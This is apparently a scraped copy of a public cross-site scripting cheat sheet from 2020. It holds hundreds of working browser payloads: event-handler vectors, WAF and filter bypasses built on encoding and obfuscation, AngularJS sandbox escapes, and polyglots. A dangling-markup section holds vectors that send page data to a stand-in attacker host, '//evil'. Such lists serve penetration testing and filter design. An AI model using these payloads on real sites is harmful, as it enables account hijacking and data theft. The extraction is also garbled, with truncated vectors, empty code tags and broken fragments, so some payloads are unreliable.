













Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2020. Last updated: Tue, 14 Jan 2020 15:56:36 +0000.

Event handlers

Event handlers that do not require user interaction

Event:	Description:	Code:
onactivate Compatibility: 	Fires when the element is activated	<code></code>
onafterprint Compatibility: 	Fires after the page is printed	<code><body onafterprint=alert(1)></code>
onanimationcancel Compatibility: 	Fires when a CSS animation cancels	<code><style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style></code>
onanimationend Compatibility: 	Fires when a CSS animation ends	<code><style>@keyframes x{</style></code>
onanimationiteration Compatibility: 	Fires when a CSS animation repeats	<code><style>@keyframes slidein {</style></code>
onanimationstart Compatibility: 	Fires when a CSS animation starts	<code><style>@keyframes x{</style></code>
onbeforeactivate Compatibility: 	Fires before the element is activated	<code></code>
onbeforedeactivate Compatibility: 	Fires before the element is deactivated	<code><input autofocus></code>
onbeforeprint Compatibility: 	Fires before the page is printed	<code><body onbeforeprint=alert(1)></code>
onbeforeunload Compatibility: 	Fires after if the url changes	<code><body onbeforeunload="location='javascript:alert(1)'"></code>
onbegin Compatibility: 	Fires when a svg animation begins	<code><svg><animate onbegin=alert(1) attributeName=x dur=1s></code>
onblur Compatibility: 	Fires when an element loses focus	<code><input autofocus></code>

onbounce

Compatibility:



Fires when the marquee bounces

```
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
```

oncanplay

Compatibility:



Fires if the resource can be played

```
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

oncanplaythrough

Compatibility:



Fires when enough data has been loaded to play the resource all the way through

```
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
```

ondeactivate

Compatibility:



Fires when the element is deactivated

```
<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
```

onend

Compatibility:



Fires when a svg animation ends

```
<svg><animate onend=alert(1) attributeName=x dur=1s>
```

onended

Compatibility:



Fires when the resource is finished playing

```
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

onerror

Compatibility:



Fires when the resource fails to load or causes an error

```
<audio src/onerror=alert(1)>
```

onfinish

Compatibility:



Fires when the marquee finishes

```
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
```

onfocus

Compatibility:



Fires when the element has focus

```
<a id=x tabindex=1 onfocus=alert(1)></a>
```

onfocusin

Compatibility:



Fires when the element has focus

```
<a id=x tabindex=1 onfocusin=alert(1)></a>
```

onfocusout

Compatibility:



Fires when an element loses focus

```
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
```

onhashchange

Compatibility:



Fires if the hash changes

```
<body onhashchange="alert(1)">
```

onload

Compatibility:



Fires when the element is loaded

```
<svg><a onload=alert(1)></a>
```

onloadeddata

Compatibility:



Fires when the first frame is loaded

```
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

onloadedmetadata

Compatibility:



Fires when the meta data is loaded

```
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
```

onloadend

Compatibility:

Fires when the element finishes loading

```
<image src=validimage.png onloadend=alert(1)>
```



onloadstart

Compatibility: Fires when the element begins to load `<image src=validimage.png onloadstart=alert(1)>`



onmessage

Compatibility: Fires when message event is received from a postMessage call `<body onmessage=alert(1)>`



onpageshow

Compatibility: Fires when the page is shown `<body onpageshow=alert(1)>`



onplay

Compatibility: Fires when the resource is played `<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`



onplaying

Compatibility: Fires the resource is playing `<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`



onpopstate

Compatibility: Fires when the history changes `<body onpopstate=alert(1)>`



onreadystatechange

Compatibility: Fires when the ready state changes `<applet onreadystatechange=alert(1)></applet>`



onrepeat

Compatibility: Fires when a svg animation repeats `<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />`



onresize

Compatibility: Fires when the window is resized `<body onresize="alert(1)">`



onscroll

Compatibility: Fires when the page scrolls `<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>`



onstart

Compatibility: Fires when the marquee starts `<marquee onstart=alert(1)>XSS</marquee>`



ontimeupdate

Compatibility: Fires when the timeline is changed `<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`



ontoggle

Compatibility: Fires when the details tag is expanded `<details ontoggle=alert(1) open>test</details>`



ontransitioncancel

Compatibility: Fires when a CSS transition cancels `<style>:target {color: red;}</style>`



ontransitionend

Compatibility: Fires when a CSS transition ends `<style>:target {color:red;}</style>`



ontransitionrun

Compatibility: Fires when a CSS transition begins



```
<style>:target {transform: rotate(180deg);}</style><a id=x  
style="transition:transform 2s" ontransitionrun=alert(1)></a>
```

onunhandledrejection

Compatibility: Fires when a promise isn't handled



```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```

onwaiting

Compatibility: Fires when while waiting for the data



```
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4"  
type=video/mp4></video>
```

Event handlers that do require user interaction

Event:

Description:

Code:

onauxclick

Compatibility: Fires when right clicking or using the middle button of the mouse



```
<input onauxclick=alert(1)>
```

onbeforecopy

Compatibility: Requires you copy a piece of text



```
<a onbeforecopy="alert(1)" contenteditable>test</a>
```

onbeforecut

Compatibility: Requires you cut a piece of text



```
<a onbeforecut="alert(1)" contenteditable>test</a>
```

onbeforepaste

Compatibility: Requires you paste a piece of text



```
<a onbeforepaste="alert(1)" contenteditable>test</a>
```

onchange

Compatibility: Requires as change of value



```
<input onchange=alert(1) value=xss>
```

onclick

Compatibility: Requires a click of the element



```
<a onclick="alert(1)">test</a>
```

oncontextmenu

Compatibility: Triggered when right clicking to show the context menu



```
<a oncontextmenu="alert(1)">test</a>
```

oncopy

Compatibility: Requires you copy a piece of text



```
<a oncopy="alert(1)" contenteditable>test</a>
```

oncut

Compatibility: Requires you cut a piece of text



```
<a oncut="alert(1)" contenteditable>test</a>
```

ondblclick

Compatibility: Triggered when double clicking the element



```
<a ondblclick="alert(1)">test</a>
```

ondrag

Compatibility: Triggered dragging the element



```
<a draggable="true" ondrag="alert(1)">test</a>
```

ondragend

Compatibility: Triggered dragging is finished on the

```
<a draggable="true" ondragend="alert(1)">test</a>
```



element

ondragenter

Compatibility:



Requires a mouse drag

```
<a draggable="true" ondragenter="alert(1)">test</a>
```

ondragleave

Compatibility:



Requires a mouse drag

```
<a draggable="true" ondragleave="alert(1)">test</a>
```

ondragover

Compatibility:



Triggered dragging over an element

```
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>
```

ondragstart

Compatibility:



Requires a mouse drag

```
<a draggable="true" ondragstart="alert(1)">test</a>
```

ondrop

Compatibility:



Triggered dropping a draggable element

```
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>
```

oninput

Compatibility:



Requires as change of value

```
<input oninput=alert(1) value=xss>
```

oninvalid

Compatibility:



Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

```
<form><input oninvalid=alert(1) required><input type=submit>
```

onkeydown

Compatibility:



Triggered when a key is pressed

```
<a onkeydown="alert(1)" contenteditable>test</a>
```

onkeypress

Compatibility:



Triggered when a key is pressed

```
<a onkeypress="alert(1)" contenteditable>test</a>
```

onkeyup

Compatibility:



Triggered when a key is released

```
<a onkeyup="alert(1)" contenteditable>test</a>
```

onmousedown

Compatibility:



Triggered when the mouse is pressed

```
<a onmousedown="alert(1)">test</a>
```

onmouseenter

Compatibility:



Triggered when the mouse is hovered over the element

```
<a onmouseenter="alert(1)">test</a>
```

onmouseleave

Compatibility:



Triggered when the mouse is moved away from the element

```
<a onmouseleave="alert(1)">test</a>
```

onmousemove

Compatibility:



Requires mouse movement

```
<a onmousemove="alert(1)">test</a>
```

onmouseout

Compatibility:



Triggered when the mouse is moved away from the element

```
<a onmouseout="alert(1)">test</a>
```

onmouseover

Compatibility:



Requires a hover over the element

```
<a onmouseover="alert(1)">test</a>
```

onmouseup

Compatibility:



Triggered when the mouse button is released

```
<a onmouseup="alert(1)">test</a>
```

onpaste

Compatibility:



Requires you paste a piece of text

```
<a onpaste="alert(1)" contenteditable>test</a>
```

onpause

Compatibility:



Requires clicking the element to pause

```
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

onpointerover

Compatibility:



Fires when the mouseover

```
<a onpointerover=alert(1)>XSS</a>
```

onpointerdown

Compatibility:



Fires when the mouse down

```
<a onpointerdown=alert(1)>XSS</a>
```

onpointerenter

Compatibility:



Fires when the mouseenter

```
<a onpointerenter=alert(1)>XSS</a>
```

onpointerleave

Compatibility:



Fires when the mouseleave

```
<a onpointerleave=alert(1)>XSS</a>
```

onpointermove

Compatibility:



Fires when the mouse move

```
<a onpointermove=alert(1)>XSS</a>
```

onpointerout

Compatibility:



Fires when the mouse out

```
<a onpointerout=alert(1)>XSS</a>
```

onpointerup

Compatibility:



Fires when the mouse up

```
<a onpointerup=alert(1)>XSS</a>
```

onreset

Compatibility:



Requires a click

```
<form onreset=alert(1)><input type=reset>
```

onsearch

Compatibility:



Fires when a form is submitted and the input has a type attribute of search

```
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
```

onseeked

Compatibility:



Requires clicking the element timeline

```
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

onseeking

Compatibility:



Requires clicking the element timeline

```
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

onselect

Compatibility:



Requires you select text

```
<input onselect=alert(1) value="XSS" autofocus>
```

onsubmit

Compatibility:



Requires a form submission

```
<form onsubmit=alert(1)><input type=submit>
```

ontouchstart

Compatibility:



Fires when the touch screen, only mobile device

```
<body ontouchstart=alert(1)>
```

ontouchend

Compatibility:



Fires when the touch screen, only mobile device

```
<body ontouchend=alert(1)>
```

ontouchmove

Compatibility:



Fires when the touch screen and move, only mobile device

```
<body ontouchmove=alert(1)>
```

onunload

Compatibility:



Requires a click anywhere on the page and a reload

```
<svg onunload=window.open('javascript:alert(1)')>
```

onvolumechange

Compatibility:



Requires volume adjustment

```
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

onwheel

Compatibility:



Fires when you use the mouse wheel

```
<body onwheel=alert(1)>
```

Restricted characters

No parentheses using exception handling

```
<script>onerror=alert;throw 1</script>
```

No parentheses using exception handling no semi colons

```
<script>{onerror=alert}throw 1</script>
```

No parentheses using exception handling no semi colons using expressions

```
<script>throw onerror=alert,1</script>
```

No parentheses using exception handling and eval

```
<script>throw onerror=eval, 'alert\x281\x29'</script>
```

No parentheses using exception handling and eval on Firefox

```
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
```

No parentheses using ES6 hasInstance and instanceof with eval

```
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
```

No parentheses using ES6 hasInstance and instanceof with eval without .

```
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
```

No parentheses using location redirect

```
<script>location='javascript:alert\x281\x29'</script>
```

No parentheses using location redirect no strings

```
<script>location=name</script>
```

No parentheses using template strings

```
<script>alert`1`</script>
```

No parentheses using template strings and location hash

```
<script>new Function`X${document.location.hash.substr`1`}`</script>
```

No parentheses or spaces, using template strings and location hash

```
<script>Function`X${document.location.hash.substr`1}```</script>
```

Frameworks

Bootstrap onanimationstart event

```
<xss class=progress-bar-animated onanimationstart=alert(1)>
```

Bootstrap ontransitionend event

```
<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>
```

Protocols

Iframe src attribute JavaScript protocol

```
<iframe src="javascript:alert(1)">
```

Object data attribute with JavaScript protocol

```
<object data="javascript:alert(1)">
```

Embed src attribute with JavaScript protocol

```
<embed src="javascript:alert(1)">
```

A standard JavaScript protocol

```
<a href="javascript:alert(1)">XSS</a>
```

The protocol is not case sensitive

```
<a href="JaVaScript:alert(1)">XSS</a>
```

Characters \x01-\x20 are allowed before the protocol

```
<a href="\x01\x02\x03 javascript:alert(1)">XSS</a>
```

Characters \x09,\x0a,\x0d are allowed inside the protocol

```
<a href="javas\x09cript:alert(1)">XSS</a>
```

Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

```
<a href="javascript\x09\x0a\x0d:alert(1)">XSS</a>
```

Xlink namespace inside SVG with JavaScript protocol

```
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
```

SVG animate tag using values

```
<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```

SVG animate tag using to

```
<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
```

SVG set tag

```
<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```

Data protocol inside script src

```
<script src="data:text/javascript,alert(1)"></script>
```

SVG script href attribute without closing script tag

```
<svg><script href="data:text/javascript,alert(1)" />
```

SVG use element Chrome/Firefox

```
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
```

Import statement with data URL

```
<script>import('data:text/javascript,alert(1)')</script>
```

Base tag with JavaScript protocol rewriting relative URLs

```
<base href="javascript:/a/-alert(1)////////"><a href=../lol/safari.html>test</a>
```

Math tag with JavaScript protocol

```
<math><math href="javascript:alert(1)">shlab
```


manHTML makes any tag clickable	<code><math><math onmouseover=javascript:alert(1) /></math></code>
Button and formaction	<code><form><button formaction=javascript:alert(1)>XSS</code>
Input and formaction	<code><form><input type=submit formaction=javascript:alert(1) value=XSS></code>
Form and action	<code><form action=javascript:alert(1)><input type=submit value=XSS></code>
Isindex and formaction	<code><isindex type=submit formaction=javascript:alert(1)></code>
Isindex and action	<code><isindex type=submit action=javascript:alert(1)></code>
Use element with an external URL	<code><svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg></code>

Other useful attributes	
Using srcdoc attribute	<code><iframe srcdoc=""></iframe></code>
Using srcdoc with entities	<code><iframe srcdoc="&lt;img src=1 onerror=alert(1)&gt;"></iframe></code>
Click a submit element from anywhere on the page, even outside the form	<code><form action="javascript:alert(1)"><input type=submit id=x</form><label for=x>XSS</label></code>
Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements	<code><input type="hidden" accesskey="X" onclick="alert(1)"></code> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Link elements: Access key attributes can enable XSS on normally unexploitable elements	<code><link rel="canonical" accesskey="X" onclick="alert(1)" /></code> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Download attribute can save a copy of the current webpage	<code>Test</code>
Disable referrer using referrerpolicy	<code></code>
Set window.name via parameter on the window.open function	<code>XSS</code>
Set window.name via name attribute in a <iframe> tag	<code><iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe></code>
Set window.name via target attribute in a <base> tag	<code><base target="alert(1)">XSS via target in base tag</code>
Set window.name via target attribute in a <a> tag	<code>XSS via target in a tag</code>
Set window.name via usemap attribute in a tag	<code><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map></code>
Set window.name via target attribute in a <form> tag	<code><form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="" ;eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form></code>
Set window.name via formtarget attribute in a <input> tag type submit	<code><form><input type=hidden name=x value="" ;eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php"</code>

```
formtarget="alert(1)" value="XSS via formtarget in input type submit">
</form>
```

Set window.name via formtarget attribute in a <input> tag type image

```
<form><input type=hidden name=x value=""><input type=hidden
name=context value=js_string_single><input name=1 type="image"
src="validimage.png" formaction="http://subdomain1.portswigger-
labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in
input type image"></form>
```

Special tags

Redirect to a different domain

```
<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">
```

Meta charset attribute UTF-7

```
<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

Meta charset UTF-7

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-
script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM characters (Has to be at the start of the document) 1

```
+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM characters (Has to be at the start of the document) 2

```
+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM characters (Has to be at the start of the document) 3

```
+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM characters (Has to be at the start of the document) 4

```
+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

Upgrade insecure requests

```
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-
requests">
```

Disable JavaScript via iframe sandbox

```
<iframe sandbox src="//portswigger-labs.net"></iframe>
```

Disable referer

```
<meta name="referrer" content="no-referrer">
```

Encoding

Overlong UTF-8

```
%C0%BCscript>alert(1)</script>
%E0%80%BCscript>alert(1)</script>
%F0%80%80%BCscript>alert(1)</script>
%F8%80%80%80%BCscript>alert(1)</script>
%FC%80%80%80%80%BCscript>alert(1)</script>
```

Unicode escapes

```
<script>\u0061lert(1)</script>
```

Unicode escapes ES6 style

```
<script>\u{61}lert(1)</script>
```

Unicode escapes ES6 style zero padded

```
<script>\u{0000000061}lert(1)</script>
```

Hex encoding JavaScript escapes

```
<script>eval('\x61lert(1)')</script>
```

Octal encoding

```
<script>eval('\141lert(1)')</script>
<script>eval('alert(\061)')</script>
<script>eval('alert(\61)')</script>
```

Decimal encoding with optional semi-colon

```
<a href="#106;avascript:alert(1)">XSS</a><a
href="#106avascript:alert(1)">XSS</a>
```

SVG script with HTML encoding

```
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
```

```
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;; alert(1)//";</script></svg>
```

Decimal encoding with padded zeros

```
<a href="#&#0000106avascript:alert(1)">XSS</a>
```

Hex encoding entities

```
<a href="#&#x6a;avascript:alert(1)">XSS</a>
```

Hex encoding without semi-colon provided next character is not a-f0-9

```
<a href="j&#x61avascript:alert(1)">XSS</a>
<a href="#&#x6a
avascript:alert(1)">XSS</a>
<a href="#&#x6a aavascript:alert(1)">XSS</a>
```

Hex encoding with padded zeros

```
<a href="#&#x0000006a;avascript:alert(1)">XSS</a>
```

Hex encoding is not case sensitive

```
<a href="#&#X6A;avascript:alert(1)">XSS</a>
```

HTML entities

```
<a href="javascript&colon;alert(1)">XSS</a>
<a href="java&Tab;script:alert(1)">XSS</a>
<a href="java&NewLine;script:alert(1)">XSS</a>
<a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>
```

URL encoding

```
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
```

HTML entities and URL encoding

```
<a href="javascript:x='%&percent;27-alert(1)-%27';">XSS</a>
```

Obfuscation

Firefox allows NULLS after &

```
<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>
```

Firefox allows NULLS inside named entities

```
<a href="javascript&colon;alert(1)">Firefox</a>
```

Firefox allows NULL characters inside opening comments

```
<!-- ><img title="--><iframe/onload=alert(1)"> -->
<!-- ><img title="--><iframe/onload=alert(1)"> -->
```

Data protocol inside script src with base64

```
<script src=data:text/javascript;base64,YWxlcnQ0MSk=></script>
```

Client-side template injection

AngularJS sandbox escapes reflected

Version:	Author:	Length:	Vector:
1.0.1 - 1.1.5	Mario Heiderich (Cure53)	41	{{constructor.constructor('alert(1)')}()}}
1.0.1 - 1.1.5 (shorter)	Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)	33	{{\$on.constructor('alert(1)')}()}}
1.2.0 - 1.2.1	Jan Horn (Google)	122	{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')}()}}
1.2.2 - 1.2.5	Gareth Heyes (PortSwigger)	23	{{{}}.')});alert(1)//''}}
1.2.6 - 1.2.18	Jan Horn (Google)	106	{{(['_'].sub).call.call({[\$='constructor'].getOwnPropertyDescriptor(._.proto_,\$).value,0,'alert(1)')}()}}
1.2.19 - 1.2.23	Mathias Karlsson (Detectify)	124	{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29	Gareth Heyes (PortSwigger)	23	<pre>{{{.}});alert(1)//"}}</pre>
1.2.27-1.2.29/1.3.0-1.3.20	Gareth Heyes (PortSwigger)	23	<pre>{{{.}});alert(1)//"}}</pre>
1.3.0	Gábor Molnár (Google)	272	<pre>{!ready && (ready = true) && (!call ? \$\$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && ('+' + toString('F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' + ')));}}</pre>
1.3.3 - 1.3.18	Gareth Heyes (PortSwigger)	128	<pre>{{{[toString:[].join,length:1,0:'__proto__'].assign=[].join;'a'.constructor.prototype.charAt=[].join;\$eval('x=alert(1)//');}}</pre>
1.3.19	Gareth Heyes (PortSwigger)	102	<pre>{'a'[[toString:false,valueOf:[].join,length:1,0:'__proto__'].charAt=[].join;\$eval('x=alert(1)//');}}</pre>
1.3.20	Gareth Heyes (PortSwigger)	65	<pre>{'a'.constructor.prototype.charAt=[].join;\$eval('x=alert(1)//');}}</pre>
1.4.0 - 1.4.9	Gareth Heyes (PortSwigger)	74	<pre>{'a'.constructor.prototype.charAt=[].join;\$eval('x=1 });alert(1)//');}}</pre>
1.5.0 - 1.5.8	Ian Hickey & Gareth Heyes (PortSwigger)	79	<pre>{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;\$eval('x=alert(1)')};}}</pre>
1.5.9 - 1.5.11	Jan Horn (Google)	517	<pre>{c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.\$apply=\$apply;c.\$eval=b;op=\$root.\$\$phase;\$root.\$\$phase=null;od=\$root.\$digest;\$root.\$digest=({}).toString;C=c.\$apply(c);\$root.\$\$phase=op;\$root.\$digest=od;B=C(b,c,b);\$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';astNode.argument={type:'Identifier',name:'foo'};");m1=B(\$\$asyncQueue.pop().expression,null,\$root);m2=B(C,null,m1);[].push.apply=m2;a=''.sub;\$eval('a(b.c)');[].push.apply=a;}}</pre>
>=1.6.0	Mario Heiderich (Cure53)	41	<pre>{{constructor.constructor('alert(1)')()}}</pre>
>=1.6.0 (shorter)	Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)	33	<pre>{{\$on.constructor('alert(1)')()}}</pre>

DOM based AngularJS sandbox escapes (Using orderBy or no \$eval)

Version:	Author:	Length:	Vector:
1.0.1 - 1.1.5	Mario Heiderich (Cure53)	37	<pre>constructor.constructor('alert(1)')()</pre>
1.2.0 - 1.2.18	Jan Horn (Google)	118	<pre>a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()</pre>
1.2.19 - 1.2.23	Mathias Karlsson (Detectify)	119	<pre>toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)</pre>
1.2.24 - 1.2.26	Gareth Heyes (PortSwigger)	317	<pre>{[['__proto__']][['x']]=constructor.getOwnPropertyDescriptor;g={['__proto__']][['x']];}[['__proto__']][['y']]=g[''.sub][['__proto__']],'constructor'};}[['__proto__']][['z']]=constructor.defineProperty;d={['__proto__']}</pre>

Button using formaction	<code><form><button style="width:100%;height:100%" type=submit formaction="//evil?"></code>
Input using formaction	<code><form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?"></code>
Form using action	<code><button form=x style="width:100%;height:100%;"><form id=x action="//evil?"></code>
Isindex using src attribute	<code><isindex type=image src="//evil?"></code>
Isindex using submit	<code><isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?"></code>
Object data	<code><object data="//evil?"></code>
Iframe src	<code><iframe src="//evil?"></code>
Embed src	<code><embed src="//evil?"></code>
Use textarea to consume markup and post to external site	<code><form><button formaction=//evil>XSS</button><textarea name=x></code>
Pass markup data through window.name using form target	<code><button form=x>XSS</button><form id=x action=//evil target='</code>
Pass markup data through window.name using base target	<code>You must click me<base target="</code>
Pass markup data through window.name using formtarget	<code><form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="</code>
Using base href to pass data	<code>xss<base href="//evil/</code>
Using embed window name to pass data from the page	<code><embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="</code>
Using iframe window name to pass data from the page	<code><iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="</code>
Using object window name to pass data from the page	<code><object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="</code>
Using frame window name to pass data from the page	<code><frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="</code>

Polyglots

Polyglot payload 1

```
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+'/'+'+/onmouseover=1/+/[*/[]/+alert(1)//>
```

Polyglot payload 2

```
javascript:"/*'/*`/*--></noscript></title></textarea></style></template>
</noembed></script><html \ "
onmouseover=/*&lt;svg/*/onload=alert(1)//>
```

WAF bypass global objects

Reflected XSS into a JavaScript string: string concatenation (window)

```
';window['ale'+rt'](window['doc'+ument']['dom'+ain']);//
```

Reflected XSS into a JavaScript string: string concatenation (self)	<code>';self['ale'+rt'](self['doc'+ument']['dom'+ain']);//</code>
Reflected XSS into a JavaScript string: string concatenation (this)	<code>';this['ale'+rt'](this['doc'+ument']['dom'+ain']);//</code>
Reflected XSS into a JavaScript string: string concatenation (top)	<code>';top['ale'+rt'](top['doc'+ument']['dom'+ain']);//</code>
Reflected XSS into a JavaScript string: string concatenation (parent)	<code>';parent['ale'+rt'](parent['doc'+ument']['dom'+ain']);//</code>
Reflected XSS into a JavaScript string: string concatenation (frames)	<code>';frames['ale'+rt'](frames['doc'+ument']['dom'+ain']);//</code>
Reflected XSS into a JavaScript string: string concatenation (globalThis)	<code>';globalThis['ale'+rt'](globalThis['doc'+ument']['dom'+ain']);//</code>
Reflected XSS into a JavaScript string: comment syntax (window)	<code>';window[/foo*/alert'/bar*](window[/foo*/document'/bar*][domain]);//</code>
Reflected XSS into a JavaScript string: comment syntax (self)	<code>';self[/foo*/alert'/bar*](self[/foo*/document'/bar*][domain]);//</code>
Reflected XSS into a JavaScript string: comment syntax (this)	<code>';this[/foo*/alert'/bar*](this[/foo*/document'/bar*][domain]);//</code>
Reflected XSS into a JavaScript string: comment syntax (top)	<code>';top[/foo*/alert'/bar*](top[/foo*/document'/bar*][domain]);//</code>
Reflected XSS into a JavaScript string: comment syntax (parent)	<code>';parent[/foo*/alert'/bar*](parent[/foo*/document'/bar*][domain]);//</code>
Reflected XSS into a JavaScript string: comment syntax (frames)	<code>';frames[/foo*/alert'/bar*](frames[/foo*/document'/bar*][domain]);//</code>
Reflected XSS into a JavaScript string: comment syntax (globalThis)	<code>';globalThis[/foo*/alert'/bar*](globalThis[/foo*/document'/bar*][domain]);//</code>
Reflected XSS into a JavaScript string: hex escape sequence (window)	<code>';window[\x61\x6c\x65\x72\x74](window[\x64\x6f\x63\x75\x6d\x65\x6e\x74][\x64\x6f\x6d\x61\x69\x6e]);//</code>
Reflected XSS into a JavaScript string: hex escape sequence (self)	<code>';self[\x61\x6c\x65\x72\x74](self[\x64\x6f\x63\x75\x6d\x65\x6e\x74][\x64\x6f\x6d\x61\x69\x6e]);//</code>
Reflected XSS into a JavaScript string: hex escape sequence (this)	<code>';this[\x61\x6c\x65\x72\x74](this[\x64\x6f\x63\x75\x6d\x65\x6e\x74][\x64\x6f\x6d\x61\x69\x6e]);//</code>
Reflected XSS into a JavaScript string: hex escape sequence (top)	<code>';top[\x61\x6c\x65\x72\x74](top[\x64\x6f\x63\x75\x6d\x65\x6e\x74][\x64\x6f\x6d\x61\x69\x6e]);//</code>
Reflected XSS into a JavaScript string: hex escape sequence (parent)	<code>';parent[\x61\x6c\x65\x72\x74](parent[\x64\x6f\x63\x75\x6d\x65\x6e\x74][\x64\x6f\x6d\x61\x69\x6e]);//</code>
Reflected XSS into a JavaScript string: hex escape sequence (frames)	<code>';frames[\x61\x6c\x65\x72\x74](frames[\x64\x6f\x63\x75\x6d\x65\x6e\x74][\x64\x6f\x6d\x61\x69\x6e]);//</code>
